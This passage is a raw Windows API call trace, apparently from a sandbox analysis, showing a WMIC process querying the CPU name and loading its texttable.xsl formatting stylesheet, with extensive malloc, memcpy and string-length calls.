memcpy (in: _Dst=0x3c3b18, _Src=0x3af698, _Size=0x64 | out: _Dst=0x3c3b18) returned 0x3c3b18 [0148.615] memcpy (in: _Dst=0x3c3b7a, _Src=0x3e4488, _Size=0xb8 | out: _Dst=0x3c3b7a) returned 0x3c3b7a [0148.615] free (_Block=0x2ccac0) [0148.615] ??0CHString@@QEAA@XZ () returned 0x1afa30 [0148.615] malloc (_Size=0x18) returned 0x2ccac0 [0148.616] malloc (_Size=0x18) returned 0x2cc8e0 [0148.616] malloc (_Size=0x18) returned 0x2ccb00 [0148.616] malloc (_Size=0x18) returned 0x2ccb20 [0148.616] malloc (_Size=0x18) returned 0x2cca60 [0148.616] malloc (_Size=0x18) returned 0x2cd220 [0148.616] malloc (_Size=0x18) returned 0x2cd240 [0148.616] malloc (_Size=0x18) returned 0x2cd260 [0148.616] memcpy_s (in: _Destination=0x1af930, _DestinationSize=0xe, _Source=0x3ebae8, _SourceSize=0xc | out: _Destination=0x1af930) returned 0x0 [0148.617] lstrlenW (lpString="&") returned 1 [0148.617] lstrlenW (lpString="&") returned 5 [0148.617] lstrlenW (lpString="<") returned 1 [0148.617] lstrlenW (lpString="<") returned 4 [0148.617] lstrlenW (lpString=">") returned 1 [0148.617] lstrlenW (lpString=">") returned 4 [0148.617] lstrlenW (lpString="'") returned 1 [0148.617] lstrlenW (lpString="'") returned 6 [0148.617] lstrlenW (lpString="\"") returned 1 [0148.617] lstrlenW (lpString=""") returned 6 [0148.617] malloc (_Size=0x18) returned 0x2cd280 [0148.617] free (_Block=0x2cd260) [0148.617] malloc (_Size=0x18) returned 0x2cd260 [0148.618] memcpy_s (in: _Destination=0x1af930, _DestinationSize=0xe, _Source=0x3ebae8, _SourceSize=0xc | out: _Destination=0x1af930) returned 0x0 [0148.618] lstrlenW (lpString="&") returned 1 [0148.618] lstrlenW (lpString="&") returned 5 [0148.618] lstrlenW (lpString="<") returned 1 [0148.618] lstrlenW (lpString="<") returned 4 [0148.618] lstrlenW (lpString=">") returned 1 [0148.618] lstrlenW (lpString=">") returned 4 [0148.618] lstrlenW (lpString="'") returned 1 [0148.618] lstrlenW (lpString="'") returned 6 [0148.618] lstrlenW (lpString="\"") returned 1 [0148.618] lstrlenW (lpString=""") returned 6 [0148.618] malloc (_Size=0x18) returned 0x2cd2a0 [0148.618] free (_Block=0x2cd260) [0148.619] malloc (_Size=0x18) returned 0x2cd260 [0148.619] memcpy_s (in: _Destination=0x1af930, _DestinationSize=0xe, _Source=0x3ebae8, _SourceSize=0x6 | out: _Destination=0x1af930) returned 0x0 [0148.619] lstrlenW (lpString="&") returned 1 [0148.619] lstrlenW (lpString="&") returned 5 [0148.619] lstrlenW (lpString="<") returned 1 [0148.619] lstrlenW (lpString="<") returned 4 [0148.619] lstrlenW (lpString=">") returned 1 [0148.619] lstrlenW (lpString=">") returned 4 [0148.619] lstrlenW (lpString="'") returned 1 [0148.619] lstrlenW (lpString="'") returned 6 [0148.619] lstrlenW (lpString="\"") returned 1 [0148.619] lstrlenW (lpString=""") returned 6 [0148.619] malloc (_Size=0x18) returned 0x2cd2c0 [0148.620] free (_Block=0x2cd260) [0148.620] malloc (_Size=0x18) returned 0x2cd260 [0148.620] memcpy_s (in: _Destination=0x1af930, _DestinationSize=0xe, _Source=0x3ebae8, _SourceSize=0x6 | out: _Destination=0x1af930) returned 0x0 [0148.620] lstrlenW (lpString="&") returned 1 [0148.620] lstrlenW (lpString="&") returned 5 [0148.620] lstrlenW (lpString="<") returned 1 [0148.620] lstrlenW (lpString="<") returned 4 [0148.620] lstrlenW (lpString=">") returned 1 [0148.620] lstrlenW (lpString=">") returned 4 [0148.620] lstrlenW (lpString="'") returned 1 [0148.620] lstrlenW (lpString="'") returned 6 [0148.620] lstrlenW (lpString="\"") returned 1 [0148.620] lstrlenW (lpString=""") returned 6 [0148.620] malloc (_Size=0x18) returned 0x2cd2e0 [0148.621] free (_Block=0x2cd260) [0148.621] malloc (_Size=0x18) returned 0x2cd260 [0148.621] malloc (_Size=0x20) returned 0x2ccc30 [0148.621] memcpy_s (in: _Destination=0x2ccc30, _DestinationSize=0x1e, _Source=0x3ebae8, _SourceSize=0x14 | out: _Destination=0x2ccc30) returned 0x0 [0148.621] lstrlenW (lpString="&") returned 1 [0148.621] lstrlenW (lpString="&") returned 5 [0148.621] lstrlenW (lpString="<") returned 1 [0148.621] lstrlenW (lpString="<") returned 4 [0148.621] lstrlenW (lpString=">") returned 1 [0148.621] lstrlenW (lpString=">") returned 4 [0148.621] lstrlenW (lpString="'") returned 1 [0148.622] lstrlenW (lpString="'") returned 6 [0148.622] lstrlenW (lpString="\"") returned 1 [0148.622] lstrlenW (lpString=""") returned 6 [0148.622] malloc (_Size=0x18) returned 0x2cd300 [0148.622] free (_Block=0x2cd260) [0148.623] free (_Block=0x2ccc30) [0148.623] malloc (_Size=0x18) returned 0x2cd260 [0148.623] malloc (_Size=0x20) returned 0x2ccc30 [0148.623] memcpy_s (in: _Destination=0x2ccc30, _DestinationSize=0x1e, _Source=0x3ebae8, _SourceSize=0x10 | out: _Destination=0x2ccc30) returned 0x0 [0148.623] lstrlenW (lpString="&") returned 1 [0148.623] lstrlenW (lpString="&") returned 5 [0148.623] lstrlenW (lpString="<") returned 1 [0148.623] lstrlenW (lpString="<") returned 4 [0148.623] lstrlenW (lpString=">") returned 1 [0148.623] lstrlenW (lpString=">") returned 4 [0148.623] lstrlenW (lpString="'") returned 1 [0148.623] lstrlenW (lpString="'") returned 6 [0148.623] lstrlenW (lpString="\"") returned 1 [0148.624] lstrlenW (lpString=""") returned 6 [0148.624] malloc (_Size=0x18) returned 0x2cd320 [0148.624] free (_Block=0x2cd260) [0148.624] free (_Block=0x2ccc30) [0148.624] malloc (_Size=0x18) returned 0x2cd260 [0148.625] memcpy_s (in: _Destination=0x1af930, _DestinationSize=0xe, _Source=0x3ebae8, _SourceSize=0xc | out: _Destination=0x1af930) returned 0x0 [0148.625] lstrlenW (lpString="&") returned 1 [0148.625] lstrlenW (lpString="&") returned 5 [0148.625] lstrlenW (lpString="<") returned 1 [0148.625] lstrlenW (lpString="<") returned 4 [0148.625] lstrlenW (lpString=">") returned 1 [0148.625] lstrlenW (lpString=">") returned 4 [0148.625] lstrlenW (lpString="'") returned 1 [0148.625] lstrlenW (lpString="'") returned 6 [0148.625] lstrlenW (lpString="\"") returned 1 [0148.625] lstrlenW (lpString=""") returned 6 [0148.625] malloc (_Size=0x18) returned 0x2cd340 [0148.626] free (_Block=0x2cd260) [0148.626] ?Format@CHString@@QEAAXPEBGZZ () returned 0x1bdfdc [0148.627] malloc (_Size=0x18) returned 0x2cd260 [0148.627] ??1CHString@@QEAA@XZ () returned 0x6501 [0148.628] free (_Block=0x2cd340) [0148.628] free (_Block=0x2cd320) [0148.628] free (_Block=0x2cd300) [0148.628] free (_Block=0x2cd240) [0148.628] free (_Block=0x2cd2e0) [0148.628] free (_Block=0x2cd280) [0148.628] free (_Block=0x2cd2a0) [0148.629] free (_Block=0x2cd220) [0148.629] free (_Block=0x2cca60) [0148.629] free (_Block=0x2cd2c0) [0148.629] free (_Block=0x2ccb20) [0148.629] free (_Block=0x2ccb00) [0148.629] free (_Block=0x2ccac0) [0148.629] free (_Block=0x2cc8e0) [0148.629] malloc (_Size=0x18) returned 0x2cc8e0 [0148.629] SysStringLen (param_1=" cpu get nameQ9IATRKPRH") returned 0x8c [0148.630] SysStringLen (param_1="root\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON") returned 0x173 [0148.630] memcpy (in: _Dst=0x3e19e8, _Src=0x3c3b18, _Size=0x11a | out: _Dst=0x3e19e8) returned 0x3e19e8 [0148.630] memcpy (in: _Dst=0x3e1b00, _Src=0x398cf8, _Size=0x2e8 | out: _Dst=0x3e1b00) returned 0x3e1b00 [0148.630] free (_Block=0x2cc8c0) [0148.630] malloc (_Size=0x18) returned 0x2cc8c0 [0148.630] malloc (_Size=0x18) returned 0x2ccac0 [0148.630] SysStringLen (param_1=" cpu get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON") returned 0x1ff [0148.630] SysStringLen (param_1="") returned 0xa [0148.630] memcpy (in: _Dst=0x3c4068, _Src=0x3e19e8, _Size=0x400 | out: _Dst=0x3c4068) returned 0x3c4068 [0148.630] memcpy (in: _Dst=0x3c4466, _Src=0x3ebae8, _Size=0x16 | out: _Dst=0x3c4466) returned 0x3c4466 [0148.631] free (_Block=0x2cc8e0) [0148.631] free (_Block=0x2cc8c0) [0148.631] free (_Block=0x2cca80) [0148.631] free (_Block=0x2cc920) [0148.631] free (_Block=0x2cd260) [0148.631] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0148.631] malloc (_Size=0x18) returned 0x2cc920 [0148.631] SysStringLen (param_1="") returned 0x0 [0148.631] SysStringLen (param_1="") returned 0x60 [0148.631] memcpy (in: _Dst=0x398ff8, _Src=0x340a28, _Size=0x2 | out: _Dst=0x398ff8) returned 0x398ff8 [0148.632] memcpy (in: _Dst=0x398ff8, _Src=0x398628, _Size=0xc2 | out: _Dst=0x398ff8) returned 0x398ff8 [0148.632] free (_Block=0x2cc880) [0148.632] malloc (_Size=0x18) returned 0x2cc880 [0148.632] SysStringLen (param_1="") returned 0x60 [0148.632] SysStringLen (param_1=" cpu get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON") returned 0x209 [0148.632] memcpy (in: _Dst=0x3c4498, _Src=0x398ff8, _Size=0xc2 | out: _Dst=0x3c4498) returned 0x3c4498 [0148.632] memcpy (in: _Dst=0x3c4558, _Src=0x3c4068, _Size=0x414 | out: _Dst=0x3c4558) returned 0x3c4558 [0148.632] free (_Block=0x2cc920) [0148.632] WbemLocator:IUnknown:Release (This=0x3a6660) returned 0x0 [0148.635] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0148.636] malloc (_Size=0x18) returned 0x2cc920 [0148.636] SysStringLen (param_1="") returned 0x0 [0148.636] SysStringLen (param_1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0xc6 [0148.636] memcpy (in: _Dst=0x3e19e8, _Src=0x38f678, _Size=0x2 | out: _Dst=0x3e19e8) returned 0x3e19e8 [0148.636] memcpy (in: _Dst=0x3e19e8, _Src=0x3c36b8, _Size=0x18e | out: _Dst=0x3e19e8) returned 0x3e19e8 [0148.636] free (_Block=0x2cc8a0) [0148.636] _kbhit () returned 0x0 [0148.640] malloc (_Size=0x18) returned 0x2cc8a0 [0148.640] SysStringLen (param_1=" cpu get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON") returned 0x269 [0148.640] SysStringLen (param_1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0xc6 [0148.640] memcpy (in: _Dst=0x3c4988, _Src=0x3c4498, _Size=0x4d4 | out: _Dst=0x3c4988) returned 0x3c4988 [0148.640] memcpy (in: _Dst=0x3c4e5a, _Src=0x3e19e8, _Size=0x18e | out: _Dst=0x3c4e5a) returned 0x3c4e5a [0148.640] free (_Block=0x2cc880) [0148.641] malloc (_Size=0x18) returned 0x2cc880 [0148.641] malloc (_Size=0x18) returned 0x2cca80 [0148.641] SysStringLen (param_1=" cpu get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONIntel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x32f [0148.641] SysStringLen (param_1="") returned 0xa [0148.641] memcpy (in: _Dst=0x3c5008, _Src=0x3c4988, _Size=0x660 | out: _Dst=0x3c5008) returned 0x3c5008 [0148.641] memcpy (in: _Dst=0x3c5666, _Src=0x3ebae8, _Size=0x16 | out: _Dst=0x3c5666) returned 0x3c5666 [0148.641] free (_Block=0x2cc8a0) [0148.641] free (_Block=0x2cc880) [0148.641] GetCurrentThreadId () returned 0xfbc [0148.641] ??0CHString@@QEAA@PEBG@Z () returned 0x1afb28 [0148.642] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x1afb28 [0148.642] lstrlenW (lpString="LIST") returned 4 [0148.642] lstrlenW (lpString="get") returned 3 [0148.642] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="LIST", cchCount2=4) returned 1 [0148.642] lstrlenW (lpString="ASSOC") returned 5 [0148.642] lstrlenW (lpString="get") returned 3 [0148.642] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="ASSOC", cchCount2=5) returned 3 [0148.642] lstrlenW (lpString="GET") returned 3 [0148.642] lstrlenW (lpString="get") returned 3 [0148.642] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0148.643] malloc (_Size=0x20a) returned 0x2cd9f0 [0148.643] GetSystemDirectoryW (in: lpBuffer=0x2cd9f0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0148.643] free (_Block=0x2cd9f0) [0148.643] malloc (_Size=0x18) returned 0x2cc880 [0148.643] malloc (_Size=0x18) returned 0x2cc8a0 [0148.643] malloc (_Size=0x18) returned 0x2cc8c0 [0148.644] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0148.644] SysStringLen (param_1="\\wbem\\") returned 0x6 [0148.644] memcpy (in: _Dst=0x3965d8, _Src=0x396628, _Size=0x28 | out: _Dst=0x3965d8) returned 0x3965d8 [0148.644] memcpy (in: _Dst=0x3965fe, _Src=0x3ebae8, _Size=0xe | out: _Dst=0x3965fe) returned 0x3965fe [0148.644] free (_Block=0x2cc880) [0148.644] free (_Block=0x2cc8a0) [0148.644] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0148.644] free (_Block=0x2cc8c0) [0148.644] malloc (_Size=0x18) returned 0x2cc8c0 [0148.645] malloc (_Size=0x18) returned 0x2cc8a0 [0148.645] malloc (_Size=0x18) returned 0x2cc880 [0148.645] malloc (_Size=0x18) returned 0x2cc8e0 [0148.645] malloc (_Size=0x18) returned 0x2ccb00 [0148.645] malloc (_Size=0x18) returned 0x2ccb20 [0148.645] lstrlenW (lpString="TABLE") returned 5 [0148.645] lstrlenW (lpString="CSV") returned 3 [0148.645] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CSV", cchCount1=3, lpString2="TABLE", cchCount2=5) returned 1 [0148.645] lstrlenW (lpString="TABLE") returned 5 [0148.645] lstrlenW (lpString="HFORM") returned 5 [0148.645] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HFORM", cchCount1=5, lpString2="TABLE", cchCount2=5) returned 1 [0148.645] lstrlenW (lpString="TABLE") returned 5 [0148.646] lstrlenW (lpString="HTABLE") returned 6 [0148.646] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HTABLE", cchCount1=6, lpString2="TABLE", cchCount2=5) returned 1 [0148.646] lstrlenW (lpString="TABLE") returned 5 [0148.646] lstrlenW (lpString="LIST") returned 4 [0148.646] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LIST", cchCount1=4, lpString2="TABLE", cchCount2=5) returned 1 [0148.646] lstrlenW (lpString="TABLE") returned 5 [0148.646] lstrlenW (lpString="MOF") returned 3 [0148.646] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="MOF", cchCount1=3, lpString2="TABLE", cchCount2=5) returned 1 [0148.646] lstrlenW (lpString="TABLE") returned 5 [0148.646] lstrlenW (lpString="RAWXML") returned 6 [0148.646] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="RAWXML", cchCount1=6, lpString2="TABLE", cchCount2=5) returned 1 [0148.646] lstrlenW (lpString="TABLE") returned 5 [0148.646] lstrlenW (lpString="TABLE") returned 5 [0148.647] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="TABLE", cchCount1=5, lpString2="TABLE", cchCount2=5) returned 2 [0148.647] SysStringLen (param_1="texttable.xsl") returned 0xd [0148.647] SysStringLen (param_1="hform.xsl") returned 0x9 [0148.647] SysStringLen (param_1="texttable.xsl") returned 0xd [0148.647] SysStringLen (param_1="htable.xsl") returned 0xa [0148.647] SysStringLen (param_1="texttable.xsl") returned 0xd [0148.647] SysStringLen (param_1="csv.xsl") returned 0x7 [0148.647] SysStringLen (param_1="texttable.xsl") returned 0xd [0148.647] SysStringLen (param_1="mof.xsl") returned 0x7 [0148.647] SysStringLen (param_1="texttable.xsl") returned 0xd [0148.647] SysStringLen (param_1="xml.xsl") returned 0x7 [0148.647] malloc (_Size=0x18) returned 0x2cca60 [0148.648] malloc (_Size=0x18) returned 0x2cd220 [0148.648] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0148.648] SysStringLen (param_1="\\") returned 0x1 [0148.648] memcpy (in: _Dst=0x3965d8, _Src=0x396628, _Size=0x34 | out: _Dst=0x3965d8) returned 0x3965d8 [0148.648] memcpy (in: _Dst=0x39660a, _Src=0x3ebb48, _Size=0x4 | out: _Dst=0x39660a) returned 0x39660a [0148.648] free (_Block=0x2cca60) [0148.648] malloc (_Size=0x18) returned 0x2cca60 [0148.648] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\\\") returned 0x1a [0148.648] SysStringLen (param_1="texttable.xsl") returned 0xd [0148.648] memcpy (in: _Dst=0x3b0678, _Src=0x3965d8, _Size=0x36 | out: _Dst=0x3b0678) returned 0x3b0678 [0148.648] memcpy (in: _Dst=0x3b06ac, _Src=0x3266b8, _Size=0x1c | out: _Dst=0x3b06ac) returned 0x3b06ac [0148.649] free (_Block=0x2cd220) [0148.649] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\\\texttable.xsl" (normalized: "c:\\windows\\system32\\wbem\\texttable.xsl"), dwDesiredAccess=0x0, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x26c [0148.649] CloseHandle (hObject=0x26c) returned 1 [0148.649] malloc (_Size=0x30) returned 0x2c8640 [0148.649] malloc (_Size=0x30) returned 0x2c8680 [0148.649] ??0CHString@@QEAA@PEBG@Z () returned 0x1af888 [0148.649] ?Right@CHString@@QEBA?AV1@H@Z () returned 0x1af880 [0148.649] ??0CHString@@QEAA@PEBG@Z () returned 0x1af8d8 [0148.649] _wcsicmp (_String1=".xsl", _String2=".xsl") returned 0 [0148.650] ??1CHString@@QEAA@XZ () returned 0x44006900060001 [0148.650] ??1CHString@@QEAA@XZ () returned 0x1 [0148.650] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0148.650] malloc (_Size=0x30) returned 0x2c86c0 [0148.650] malloc (_Size=0x20) returned 0x2ccc30 [0148.650] malloc (_Size=0x30) returned 0x2c8700 [0148.650] free (_Block=0x2c86c0) [0148.651] free (_Block=0x2c8680) [0148.651] free (_Block=0x2c8640) [0148.651] free (_Block=0x2ccb20) [0148.652] free (_Block=0x2ccb00) [0148.652] free (_Block=0x2cc8e0) [0148.652] free (_Block=0x2cc880) [0148.652] free (_Block=0x2cc8a0) [0148.652] free (_Block=0x2cc8c0) [0148.652] GetCurrentThreadId () returned 0xfbc [0148.652] ??0CHString@@QEAA@XZ () returned 0x1af930 [0148.652] CoCreateInstance (in: rclsid=0xff9b7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff9b73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xffa229e8 | out: ppv=0xffa229e8*=0x21d71d0) returned 0x0 [0148.653] FreeThreadedDOMDocument:IXMLDOMDocument:loadXML (in: This=0x21d71d0, bstrXML=" cpu get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONIntel(R) Core(TM) i5-7500 CPU @ 3.40GHz", isSuccessful=0x1af914 | out: isSuccessful=0x1af914*=0xffff) returned 0x0 [0148.656] ??0CHString@@QEAA@XZ () returned 0x1af610 [0148.656] GetCurrentThreadId () returned 0xfbc [0148.656] malloc (_Size=0x20) returned 0x2cccb0 [0148.656] malloc (_Size=0x30) returned 0x2c8640 [0148.656] CoCreateInstance (in: rclsid=0xff9b7420*(Data1=0x2933bf94, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), pUnkOuter=0x0, dwClsContext=0x15, riid=0xff9b7400*(Data1=0x2933bf93, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1af628 | out: ppv=0x1af628*=0x21d7620) returned 0x0 [0148.664] CoCreateInstance (in: rclsid=0xff9b7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x15, riid=0xff9b73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1af640 | out: ppv=0x1af640*=0x21db330) returned 0x0 [0148.665] FreeThreadedDOMDocument:IXMLDOMDocument:put_async (This=0x21db330, async=0) returned 0x0 [0148.665] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\\\texttable.xsl") returned 0x4e [0148.665] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x21db330, xmlSource=0x1af7e0*(varType=0x8, wReserved1=0x21d, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\\\texttable.xsl", varVal2=0x0), isSuccessful=0x1af8d8 | out: isSuccessful=0x1af8d8*=0xffff) returned 0x0 [0148.671] XSLTemplate:IXSLTemplate:putref_stylesheet (This=0x21d7620, stylesheet=0x21db330) returned 0x0 [0148.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ad420 | out: lpSystemTimeAsFileTime=0x1ad420*(dwLowDateTime=0xd8a89bc0, dwHighDateTime=0x1da5ebf)) [0148.732] GetCurrentProcessId () returned 0xfb8 [0148.732] GetCurrentThreadId () returned 0xfbc [0148.732] GetTickCount () returned 0xa69417 [0148.732] QueryPerformanceCounter (in: lpPerformanceCount=0x1ad428 | out: lpPerformanceCount=0x1ad428*=1106936785956) returned 1 [0148.736] malloc (_Size=0x100) returned 0x2c9ff0 [0148.737] __dllonexit () returned 0x7fef46dbfc0 [0148.737] __dllonexit () returned 0x7fef46dbfa8 [0148.738] __dllonexit () returned 0x7fef46dbfd4 [0148.740] GetUserDefaultLCID () returned 0x409 [0148.740] GetVersion () returned 0x1db10106 [0148.742] ??2@YAPEAX_K@Z () returned 0x2cd9f0 [0148.743] ??2@YAPEAX_K@Z () returned 0x2cda50 [0148.744] GetUserDefaultLCID () returned 0x409 [0148.744] GetACP () returned 0x4e4 [0148.745] ??3@YAXPEAX@Z () returned 0x73132b01 [0148.747] GetCurrentThreadId () returned 0xfbc [0148.747] ??2@YAPEAX_K@Z () returned 0x2cdde0 [0148.747] GetCurrentThreadId () returned 0xfbc [0148.747] ??2@YAPEAX_K@Z () returned 0x2ccce0 [0148.747] ??2@YAPEAX_K@Z () returned 0x2c8680 [0148.747] ??2@YAPEAX_K@Z () returned 0x2cdec0 [0148.747] ??2@YAPEAX_K@Z () returned 0x2c86c0 [0148.747] GetCurrentThreadId () returned 0xfbc [0148.747] ??2@YAPEAX_K@Z () returned 0x2cdf90 [0148.748] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0148.751] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x1af130, cchData=6 | out: lpLCData="1252") returned 5 [0148.751] IsValidCodePage (CodePage=0x4e4) returned 1 [0148.755] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefdf10000 [0148.756] GetProcAddress (hModule=0x7fefdf10000, lpProcName="CoCreateInstance") returned 0x7fefdf37490 [0148.756] CoCreateInstance (in: rclsid=0x7fef472d5a8*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef472d5b8*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2cdd98 | out: ppv=0x2cdd98*=0x3a90a0) returned 0x0 [0148.756] IUnknown:AddRef (This=0x3a90a0) returned 0x2 [0148.756] GetCurrentProcessId () returned 0xfb8 [0148.757] GetCurrentThreadId () returned 0xfbc [0148.757] GetTickCount () returned 0xa69436 [0148.757] ISystemDebugEventFire:BeginSession (This=0x3a90a0, guidSourceID=0x7fef472d5d8, strSessionName="VBScript:00004024:00004028:10916918") returned 0x0 [0148.757] DllRegisterServer () returned 0x0 [0148.758] GetCurrentThreadId () returned 0xfbc [0148.759] realloc (_Block=0x0, _Size=0xc8) returned 0x2ce020 [0148.759] memcpy (in: _Dst=0x2ce020, _Src=0x7fef4740800, _Size=0x10 | out: _Dst=0x2ce020) returned 0x2ce020 [0148.759] memcpy (in: _Dst=0x2ce030, _Src=0x7fef472f2c8, _Size=0x6 | out: _Dst=0x2ce030) returned 0x2ce030 [0148.759] memcpy (in: _Dst=0x2ce036, _Src=0x7fef472f2d0, _Size=0x18 | out: _Dst=0x2ce036) returned 0x2ce036 [0148.759] ??2@YAPEAX_K@Z () returned 0x2c8740 [0148.759] malloc (_Size=0x1008) returned 0x2ce0f0 [0148.760] ??2@YAPEAX_K@Z () returned 0x2cf100 [0148.760] malloc (_Size=0x400) returned 0x2cf290 [0148.760] malloc (_Size=0x108) returned 0x2ca100 [0148.760] malloc (_Size=0x2008) returned 0x1bdfd0 [0148.761] memcpy (in: _Dst=0x1be004, _Src=0x21e6cd2, _Size=0xc | out: _Dst=0x1be004) returned 0x1be004 [0148.761] memcpy (in: _Dst=0x1be044, _Src=0x21e6ce0, _Size=0x10 | out: _Dst=0x1be044) returned 0x1be044 [0148.761] memcpy (in: _Dst=0x1be08c, _Src=0x21e6df0, _Size=0x6 | out: _Dst=0x1be08c) returned 0x1be08c [0148.761] memcpy (in: _Dst=0x1be0c4, _Src=0x21e6df8, _Size=0xa | out: _Dst=0x1be0c4) returned 0x1be0c4 [0148.762] memcpy (in: _Dst=0x1be104, _Src=0x21e6e0c, _Size=0x10 | out: _Dst=0x1be104) returned 0x1be104 [0148.762] memcpy (in: _Dst=0x1be14c, _Src=0x21e6e30, _Size=0xc | out: _Dst=0x1be14c) returned 0x1be14c [0148.762] malloc (_Size=0x208) returned 0x2cf6a0 [0148.762] memcpy (in: _Dst=0x1be18c, _Src=0x21e6e50, _Size=0x4 | out: _Dst=0x1be18c) returned 0x1be18c [0148.762] memcpy (in: _Dst=0x1be1c4, _Src=0x21e6e68, _Size=0xa | out: _Dst=0x1be1c4) returned 0x1be1c4 [0148.762] memcpy (in: _Dst=0x1be204, _Src=0x21e6e7c, _Size=0x10 | out: _Dst=0x1be204) returned 0x1be204 [0148.763] memcpy (in: _Dst=0x1be24c, _Src=0x21e6e96, _Size=0x12 | out: _Dst=0x1be24c) returned 0x1be24c [0148.763] malloc (_Size=0x408) returned 0x2cf8b0 [0148.763] memcpy (in: _Dst=0x1be294, _Src=0x21e6ec8, _Size=0x8 | out: _Dst=0x1be294) returned 0x1be294 [0148.763] memcpy (in: _Dst=0x1be2d4, _Src=0x21e6ef0, _Size=0x18 | out: _Dst=0x1be2d4) returned 0x1be2d4 [0148.763] memcpy (in: _Dst=0x1be324, _Src=0x21e6f0a, _Size=0x10 | out: _Dst=0x1be324) returned 0x1be324 [0148.763] memcpy (in: _Dst=0x1be36c, _Src=0x21e6f1c, _Size=0x18 | out: _Dst=0x1be36c) returned 0x1be36c [0148.763] memcpy (in: _Dst=0x1be3bc, _Src=0x21e6f36, _Size=0x2 | out: _Dst=0x1be3bc) returned 0x1be3bc [0148.764] memcpy (in: _Dst=0x1be3f4, _Src=0x21e6f84, _Size=0x6 | out: _Dst=0x1be3f4) returned 0x1be3f4 [0148.764] malloc (_Size=0x808) returned 0x1bffe0 [0148.764] memcpy (in: _Dst=0x1be42c, _Src=0x21e6fb0, _Size=0xa | out: _Dst=0x1be42c) returned 0x1be42c [0148.764] memcpy (in: _Dst=0x1be46c, _Src=0x21e6fbc, _Size=0x8 | out: _Dst=0x1be46c) returned 0x1be46c [0148.764] memcpy (in: _Dst=0x1be4ac, _Src=0x21e6fd8, _Size=0x2 | out: 